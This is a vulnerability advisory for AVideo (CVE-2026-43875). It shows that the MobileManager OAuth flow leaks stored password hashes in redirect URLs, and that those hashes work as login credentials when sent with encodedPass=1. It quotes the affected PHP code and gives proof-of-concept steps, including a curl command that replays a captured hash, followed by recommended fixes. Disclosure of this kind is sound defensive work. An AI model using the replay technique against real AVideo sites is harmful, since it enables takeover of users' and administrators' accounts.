AVideo CVE-2026-43875

Summary

plugin/MobileManager/oauth2.php completes an OAuth login by sending an HTTP 302 Location: oauth2Success.php?user=<email>&pass=<HASH> where <HASH> is the victim's stored password hash (md5(hash("whirlpool", sha1(password)))) read directly from the users table. AVideo's own login endpoint (objects/login.json.php) accepts an encodedPass=1 flag that bypasses hashing and performs a direct string comparison between the supplied value and the stored hash. Anyone who captures the redirect URL - via server logs, referrer leakage, or browser history - therefore obtains a credential equivalent to the plaintext password and can fully take over the account, including admin accounts.

Details

Sink: hash inlined in a GET redirect

plugin/MobileManager/oauth2.php:98-102:

$pass = rand();
$users_id = User::createUserIfNotExists($user, $pass, $name, $email, $photoURL);
$adapter->disconnect();
$userObject = new User($users_id);
header("Location: oauth2Success.php?user=" . $userObject->getUser() . "&pass=" . $userObject->getPassword());

$userObject->getPassword() returns the raw database column (objects/user.php:159-162):

public function getPassword()
{
    return strip_tags($this->password);
}

The returned value is the stored password hash for the account (existing or freshly-created). It is transported to the browser as a query-string parameter in the Location: header, so it is written to:

• Web-server access logs (combined / main log formats record the full request line including query string).
• Upstream proxy / CDN / WAF logs.
• Any error monitoring / APM that captures request URLs (Sentry, Datadog, New Relic defaults).
• The victim's browser history (persistent local artifact).
• The Referer header on subsequent navigation from the rendered oauth2Success.php page if the page or its assets load any external origin and the browser's Referrer-Policy is not strict.

Hash equals plaintext for login

objects/login.json.php:182-209:

if (!empty($_GET['user'])) {
    $_POST['user'] = $_GET['user'];
}
if (!empty($_GET['pass'])) {
    $_POST['pass'] = $_GET['pass'];
}
if (!empty($_GET['encodedPass'])) {
    $_POST['encodedPass'] = $_GET['encodedPass'];
}
...
$user = new User(0, $_POST['user'], $_POST['pass']);
...
$resp = $user->login(false, @$_POST['encodedPass']);

objects/user.php:1272-1279 passes $encodedPass to find():

if (strtolower($encodedPass) === 'false') {
    $encodedPass = false;
}
...
$user = $this->find($this->user, $this->password, true, $encodedPass);

objects/user.php:1785-1794:

if ($pass !== false) {
    if (!encryptPasswordVerify($pass, $result['password'], $encodedPass)) {
        ...
        return false;
    }
}

objects/functions.php:2312-2331:

function encryptPasswordVerify(#[\SensitiveParameter] $password, $hash, $encodedPass = false)
{
    global $advancedCustom, $global;
    if (!$encodedPass || $encodedPass === 'false') {
        $passwordSalted  = encryptPassword($password);
        $passwordUnSalted = encryptPassword($password, true);
    } else {
        $passwordSalted  = $password;   // <- direct use, no hashing
        $passwordUnSalted = $password;
    }
    $isValid = $passwordSalted === $hash || $passwordUnSalted === $hash;
    ...
}

When encodedPass is truthy, the supplied value is compared as-is against the stored hash. The captured redirect parameter pass=<HASH> is therefore a valid login credential when replayed with encodedPass=1.

Compounding factors

• The redirect is a raw Location: (GET), not a POST - the secret is placed in a URL which is by definition non-confidential transport.
• No CSRF token, no state parameter tied to the session, and no single-use token is used on /plugin/MobileManager/oauth2.php.
• login.json.php does not require a CSRF token or captcha on the first attempt (checkLoginAttempts() at objects/user.php:1282 only rate-limits after failures, and the attacker succeeds on the first try).
• By contrast, the non-plugin flow in objects/login.json.php:144-145 already sets session state server-side ($userObject->login(true)), demonstrating the project already has a safer pattern available.

PoC

Prerequisites: MobileManager plugin enabled and at least one supported login provider (e.g. LoginGoogle) configured with valid keys - both are common production settings for this product.

1. Victim initiates the mobile OAuth flow:

   GET /plugin/MobileManager/oauth2.php?type=Google

1. After the victim authorizes at the provider, the server sends:

   HTTP/1.1 302 Found
   Location: oauth2Success.php?user=victim%40example.com&pass=9d7ab4...stored-hash...

This request-line - including the password hash - is written to the web server's access log (default combined format) and to any upstream proxy/CDN log. It also appears in the victim's browser history.

1. Attacker obtains <HASH> from any of those channels.
2. Attacker logs in as the victim without knowing the plaintext password:

   curl -i -c cookies.txt \
     'https://target.example.com/objects/login.json.php?user=victim@example.com&pass=<HASH>&encodedPass=1'

Expected response: 200 OK with JSON containing id, user, PHPSESSID, isAdmin, email, and a Set-Cookie: PHPSESSID=... that grants full account access. The attacker can now browse, upload, modify the victim's channel, or - if the victim is an admin - access /mvideos and all admin endpoints.

Impact

• Full account takeover of any user who has ever logged in through the MobileManager OAuth endpoint.
• If the victim is an administrator, the attacker gains administrative control of the AVideo instance (user management, plugin config, site-wide content).
• The exposed hash works indefinitely: it remains valid for as long as the victim does not change their password, so a one-time log/history/referrer capture yields a persistent credential.
• Passes silently - from the application's perspective, the attacker is just a legitimate login with encodedPass=1 (a flag the product itself uses for mobile-app "remember me" flows).

Recommended Fix

1. Never place the password hash (or any credential-equivalent material) in a URL. In plugin/MobileManager/oauth2.php, mirror what objects/login.json.php:143-146 already does for the web flow - establish the session server-side and redirect to a URL with no credentials:

   $userObject = new User(0, $user, $pass);
   $userObject->login(true);   // server-side session
   header("Location: oauth2Success.php");

1. Additionally, remove or hard-restrict the encodedPass branch in objects/functions.php:2319-2329. If a "hash-equivalent" credential must exist for the mobile app, replace it with a short-lived, single-use, server-issued bearer token bound to the session, rather than the persistent database hash.
2. Add a state parameter and CSRF protection on /plugin/MobileManager/oauth2.php so the redirect cannot be initiated from a third-party origin.
3. For defense-in-depth, strip query strings containing pass= from access-log formats and ensure oauth2Success.php sets Referrer-Policy: no-referrer while it is being deprecated.